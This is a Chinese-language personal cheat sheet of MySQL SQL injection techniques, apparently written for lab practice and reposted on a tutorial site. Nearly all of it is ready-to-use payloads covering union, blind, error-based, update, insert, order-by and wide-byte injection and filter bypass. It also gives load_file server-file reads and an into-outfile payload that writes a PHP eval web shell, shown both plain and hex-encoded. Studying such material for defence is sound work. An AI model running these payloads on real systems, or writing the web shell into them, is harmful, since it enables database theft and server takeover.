SQL笔记

我们两清 提交于 2019-12-05 15:37:16

1.常用的代码中的sql查询方式

//单引号保护 ?id=1' and 1=1--+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//没有保护,一般查询纯数字类型的数据   ?id=1 and 1=1--+
$sql="SELECT * FROM users WHERE id= $id  LIMIT 0,1";
//单引号与小括号保护 ?id=1') and 1=1--+
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//双引号与小括号保护 ?id=1") and 1=1--+
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
//双引号保护 ?id=1" and 1=1--+
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
//小括号保护 ?id=1) and 1=1--+
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

2.union注入

猜数据库
select schema_name from information_schema.schemata

猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容
Select group_concat(column1,column2,column3) from database.table(数据库.表名字,如果直接打表明,那就默认当前连接的数据库)

3.盲注(布尔,延时)

3.1常用函数

ascii():

返回字符的ascii值

select ascii('a')  //输出97

ord():

返回字符的ascii值

select ord('a')  //输出97

char():

返回ascii对应的字符

select char(97)  //输出a

mid(str,start[,n]):

截取字符串str,从第start个位置开始(第一个字符位置是1),返回n个字符。

select mid("abcdefg",1,1)   //输出a

substr(str,start[,end]):

截取str,从start(第一个字符为1)到end

select substring('abcdefg',2,1)  //输出b

left(str,n):

截取str的n个字符

select left("abcdef",3)  //输出abc

regexp

select user() regexp  '^root@localhost' 

注意因为是正则匹配,所以不要忘记加 ^

like

select user() like  'root@lo%' 

注意加%

limit m,n

控制行(记录)的数量,从第m行到第n行,m从0开始

if(condition,expr1,expr2)

判断condition,如果为真返回expr1

select if(1=2,1,0) //输出0 

group_concat()

将多行的内容联合在一起变成一行,默认用逗号隔开

正常查询

用group_concat()连接

concat()

连接同一行的多个列的内容,没有东西隔开

sleep()

SELECT if(mid(user(),1,1)='r',sleep(2),1),常常配合if来进行延时注入

between

select 0x9 between 0x8 and 0x10

3.2盲注语句

mid函数

?id=1' and ( mid((select group_concat(schema_name) from information_schema.schemata),1,19)='information_schema,')--+

数据库之间都是用逗号隔开

mid函数配合ord或者ascii函数区分大小写

?id=1' and ( ascii(mid((select group_concat(schema_name) from information_schema.schemata),1,1))=105)--+

//mysql不区分大小写,配合ascii可以区分大小写,ascii换成ord也可以

left函数

?id=1' and ( left((select group_concat(schema_name) from information_schema.schemata),1)='i')--+

substr函数

?id=1' and ( substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i') --+

regexp

?id=1' and ( (select group_concat(schema_name) from information_schema.schemata) regexp '^i' )--+

like

?id=1' and ( (select group_concat(schema_name) from information_schema.schemata) like 'i%')--+

between

?id=1' and (ascii(mid((select group_concat(schema_name) from information_schema.schemata),1,1)) between 0x1 and 0x7f)--+

if+sleep

?id=1' and ( (if(mid((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(3),0)))--+

limit m,n

主要用在group_concat函数被禁了的情况下,因为比较字符串的时候如果返回多行(group_concat合并为一行)就没法比较,其实也可以用mid,substr函数控制截取字符的长度

(select schema_name from information_schema.schemata limit 0,1) 

//输出information_schema

4.报错盲注

4.1函数

4.1.1 xpath语法错误

extractvalue(目标xml文档,xml路径)

xml路径格式为 /xxx/xx/xx/xx ,想办法,让xml路径那里的语法错误,产生报错,然后把查询的东西带出来

?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))--+

这里说下,为啥要concat一下0x7e(0x7e:~),因为必须要让xpath语法产生错误!
~查询的内容~,这串字符是不符合语法规则的,所以才会报错。也可以连接!@#$%^&*等

例如:?id=1' and extractvalue(1,concat('@',(select schema_name from information_schema.schemata limit 3,1),'!'))--+

还有为啥要limit m,n,为啥不用group_concat:查询的内容有32个显示字符的限制,不能一起显示出来,所以一行行的查询,如果一行的数据长度大于32的话,就用substr,mid控制截取字符的长度

updatexml(目标xml文档,xml路径,更新的内容)

同理也是让xml路径报错,同样也是32个字符的限制

4.1.2主键重复

select count(*) from information_schema.TABLES group by concat(version(),floor(rand(0)*2));

整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。 如果不到3条,并不会报错,而是会输出查询的行数,此时方法失效。

选择information_schema.TABLES就好

4.1.3 数值溢出

exp

1.返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值 

2.double 数值类型超出范围进行报错注入

3.(select * FROM(SELECT USER())a)  //输出root@localhost

select (~(select * FROM(SELECT USER())a)) //输出bigint类型的最大值:18446744073709551615

(select (exp(~(select * FROM(SELECT USER())a)))) //产生报错,带出root@localhost

或者     select (~(select * FROM(SELECT USER())a))+1

4.版本要求 <5.53
5.没有长度限制

4.2注入语句

extractvalue

> ?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))--+

updatexml

> ?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e),1)--+

concat,rand(),group_by()

?id=1' and (select count(*) from information_schema.TABLES group by concat(version(),floor(rand(0)*2)))--+

?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

?id=1' and (select count(*) from users group by concat(database(),"~",floor(rand(0)*2)))--+

//concat连接了一个~,因为floor(rand(0)*2))也会有输出结果( 主键'1'重复 ),这样就容易区分了

?id=1' and (select count(*) from information_schema.TABLES group by concat((select schema_name from information_schema.schemata limit 3,1),"~",floor(rand(0)*2)))--+

exp

?id=1' and (select (exp(~(select * FROM(SELECT USER())a))))--+
无长度限制

5.mysql读写文件的两个函数

5.1 load_file()

5.1.1条件

1. select count(*) from mysql.user 得大于用户才有这个权限

2. 文件大小不能超过max_allowed_packet

3. secure_file_priv值不为NULL

   查看show global variables like '%secure%'; 

   复现就在my.ini(my.cnf)的[mysqld]下面修改或者添加: secure_file_priv =  

4. 知道文件的绝对路径

5.1.2利用

1.union注入:

?id= -1' union select 1,load_file('d:/test.txt'),3  --+

这里因为可能存在不可打印字符的原因,所以得把查询出来的文件内容转换为十六进制,尤其是二进制exe等文件

?id= -1' union select 1,hex(load_file('d:/test.txt')),3  --+

2.盲注:

?id=1' and (select mid((select load_file('d:/test.txt')),1,9)='<!DOCTYPE')--+

?id=1' and (select hex(mid((select load_file('d:/test.txt')),1,1))='3c')--+

hex(load_file())查询出来十六进制是以字符的形式存在的

3.绕过

select load_file('d:/test.txt')

select load_file(0x643A2F746573742E747874) (只转路径,不转单引号) 

select load_file(char(100,58,47,116,101,115,116,46,116,120,116))(只转路径,不转单引号)

5.2 outfile

1.单引号一旦被过滤,不能被继续使用,写入的一句话可以编码绕过,但是绝对路径必须有单引号。

2.要有file的权限  

3.

?id=-1' union select 1,2, '<?php eval($_POST[cmd])?>'  into outfile  'd:/muma.php' --+

?id=-1' union select 1,2, 0x3C3F706870206576616C28245F504F53545B636D645D293F3E into outfile 'd:/muma.php'--+

6.sql注入的时候编码问题

! * ' ( ) ; : @ & = + $ , / ? # [ ]
这些是需要编码才能被服务器正确接收的字符,因为这些对于浏览器是控制字符
#是mysql的注释字符

get方式传参的时候,#这个字符是不会传过去的,他对于浏览器是一个控制字符起到了锚点的作用,所以#和后边的内容都不会发送,只有通过别的工具把他进行url编码成%23,服务器收到并且会自动解码成#。

post传参的时候会自动把#编码成%23,所以有些post表单注入,直接打#就可以了。如果post表单提交%23,会自动编码成%2523,服务器解码成%23,只能解码一次,所以不能将其继续解码成#。
-- (空格)也是mysql的注释字符,为什么--+也可以作为注释使用呢?
url中的加号代表空格,get传参的时候,因为+是控制字符,对于浏览器的作用来说,他就是要被编码成%20当作一个空格来用,所以实际传过去的是-- (此处有空格)
post提交--+的时候,+会被编码成%2B('+'的url编码),传过去的实际是--+,而实际上--+不会对mysql产生截断作用,所以--+对于post注入是不可以用的。
post提交-- (空格),空格也会被编码成+,所以仍然不能产生截断作用。
所以post注入的时候,阶段的方法可以直接提交#,或者本地拦截包,直接修改。

7.update 注入

//修改密码
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
//判断修改是否成功的逻辑
mysql没有报错
    或者
没有和原来的密码重复并且mysql没有报错

注意的是,这里的username最好要填注册的,因为很多代码逻辑都是先判断你这个账户有没有,如果没有直接给你返回错误。
1.注入点从$password入手
//报错注入
abcd' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))#

//延时盲注,这里请一定要加上 where username="" #,不然sleep的时间要乘行的个数
abcd' or If(ascii(substr(database(),1,1))=113,1,sleep(2)) where username='admin'#


2.执行的逻辑
首先说明mysql字符为逻辑0 
select "abcdefg"=0 //输出1


update users set password= 'abcd' or (select user() like  'root@lo%' )#
//上边这句话执行优先级
update users set password= ( 'abcd' or (select user() like  'root@lo%' ) )#
//简化为
update users set password = (0 or 0);或者update users set password = (0 or 1);
//这句话永远不会报错,修改的password值为0或者1,而密码修改成功与否给的提示就是mysql是否报错,所以布尔盲注的时候,无论何时都是对的,无法用布尔盲注注出数据。

8.insert注入

思路:insert或者update类型的操作一般不会显示在前端,报错注入或者延时注入

//插入mysql代码
INSERT
  INTO `security`.`uagents`
  (`uagent`, `ip_address`, `username`)
VALUES
  ('$uagent', '$IP', `$uname`)
  
  
//延时注入  
http头部agent修改为:
AAA' or if(ascii(substr(database(),1,1))=112,1,sleep(5)) or 'AAA'='AAA
//执行的实际操作
INSERT
  INTO `security`.`uagents`
  (`uagent`, `ip_address`, `username`)
VALUES
  ('
  
  AAA' or if(ascii(substr(database(),1,1))=112,1,sleep(5)) or 'AAA'='AAA
  
  ', '127.0.0.1', 'admin')

//报错注入
A'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
0 or extractvalue()或者 0 and extractvalue()都会报错
//实际执行
INSERT
  INTO `security`.`uagents`
  (`uagent`, `ip_address`, `username`)
VALUES
  ('
  
  AAA'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
  
  ', '127.0.0.1', 'admin')

9.sql语句的执行逻辑

http://www.admintony.com/MySQL%E7%9A%84%E9%80%BB%E8%BE%91%E8%BF%90%E7%AE%97%E7%AC%A6-and-or-xor-%E7%9A%84%E5%B7%A5%E4%BD%9C%E6%9C%BA%E5%88%B6.html

http://blackwolfsec.cc/2018/03/13/Mysql_sleep/

10.过滤函数

addslashes()

转义 ' "  \  null
起到转移作用的反斜杠不会写入数据库

stripslashes()

清理掉反斜杠

mysql_real_escape_string()

转义 \x00 \n \r \ ' " \x1a
是mysql驱动的一个函数,不是php自带的

magic_quotes_gpc

magic_quotes_gpc从5.4就已经被废弃
magic_quotes_gpc=on时候,会自动对get,post的参数进行addslashes()操作
magic_quotes_gpc=on的时候,又手动的addslashes()了一遍,则会进行双重转义:'   -------->   \\\'
为了防止,可以先判断:
if (get_magic_quotes_gpc()){
      code....
}

11.过滤 #,--

过滤了 # -- 后,就么没法注释掉 'id' 的第二个单引号了。
但是可以加单引号来闭合:


#union注入
#注入点判断
SELECT * FROM `users` WHERE 
`id` = '          -1' OR '1' = '1                       ' LIMIT 0 , 1;
SELECT * FROM `users` WHERE 
`id` = '          -1' OR '1' = '2                       ' LIMIT 0 , 1;
#字段个数判断
没有找到order by判断的方法
SELECT * FROM `users` WHERE  
`id`='    1' union select 1,'2    ' limit 0,1
SELECT * FROM `users` WHERE  
`id`='    1' union select 1,2,'3    ' limit 0,1
#查询
SELECT * FROM `users` WHERE  
`id`='    -1' union select (select  group_concat(schema_name) from information_schema.schemata),2,'3      ' limit 0,1



#布尔盲注
SELECT * FROM `users` WHERE 
`id` = '     1' and if(mid(user(),1,1)='r',1,0) and '1'='1           ' LIMIT 0 , 1;

#延时注入
SELECT * FROM `users` WHERE 
`id` = '     1' and if(mid(user(),1,1)='r',sleep(1),0) and '1'='1           ' LIMIT 0 , 1;

#报错注入
SELECT * FROM `users` WHERE 
`id` = '     1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e)) and '1'='1           ' LIMIT 0 , 1

12.约束攻击

假设,我们在开发的时候没有对用户注册账户的输入进行严格的限制,使得用户输入的两端可以存在空格(一般用trim去掉)。  

我们先来插入两条语句试试吧。  

     create table testtest (name varchar(20) ,id int );
     insert into testtest values('admin',0);
     insert into testtest values('admin ',1);
     insert into testtest values('admin  ',2);
     insert into testtest values('admin   ',3);

当我们查询的时候呢?  无论是

      select * from testtest where name='admin';
      select * from testtest where name='admin ';
      select * from testtest where name='admin  ';
      select * from testtest where name='admin   ';

    结果都是:  

这就是说在没有过滤空格和设置主键(对象到name)的时候,会通过多加空格的形式来查询到没有空格相同名字的账户。  

攻击方法,直接注册用户名然后加很多的空格

13.宽字节注入

1.
将单引号转义一般用addslashes或者repalace方法
使用了gbk编码,mysql_query("SET NAMES 'gbk'");

?id=1' -> ?id=1\' 
?id=1%df' -> ?id=1%df\' -> ?id=1%df%5c' -> ?id=1運'
单引号逃逸

2.
mysql_real_escape_string()来转移单引号
当用这个函数时,如果只设置了mysql_query("SET NAMES 'gbk'"),但是没有设置当前连接的字符集mysql_set_charset('gbk',$conn),仍然可以宽字符注入

3.解决办法
3.1utf-8编码
3.2使用gbk编码,过滤用mysql_real_escape_string()的时候同时mysql_set_charset('gbk',$conn)
3.3mysql_set_charset('SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary',$conn)

4.
iconv将utf-8转换为gbk
$id=iconv('utf-8','gbk',$id)
?id=錦'
%e9%8c%a6' -> %e5%5c' -> %e5%5c\' -> %e5%5c%5c%27
两个%5c,两个反斜杠代表一个被转移过的反斜杠,失去了转移的作,是一个纯字符,单引号逃逸。
iconv将gbk转换成utf-8
直接宽字节注入%df就可以

14.order by 注入

排序语句:SELECT * FROM `users` ORDER BY $sort;

//注入语句
#延时注入
SELECT * FROM `users` ORDER BY IF(MID(USER(), 1, 1) = 'r', SLEEP(1), 1)
#报错注入
SELECT * FROM `users` ORDER BY extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))
#布尔盲注需要配合rand()
SELECT * FROM `users` ORDER BY RAND(IF(MID(USER(), 1, 1) = 'a', 0, 1))

#写文件
?sort=1 into outfile 'd:\\2.txt' lines terminated by 0x3C3F70687020706870696E666F28293B3F3E
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!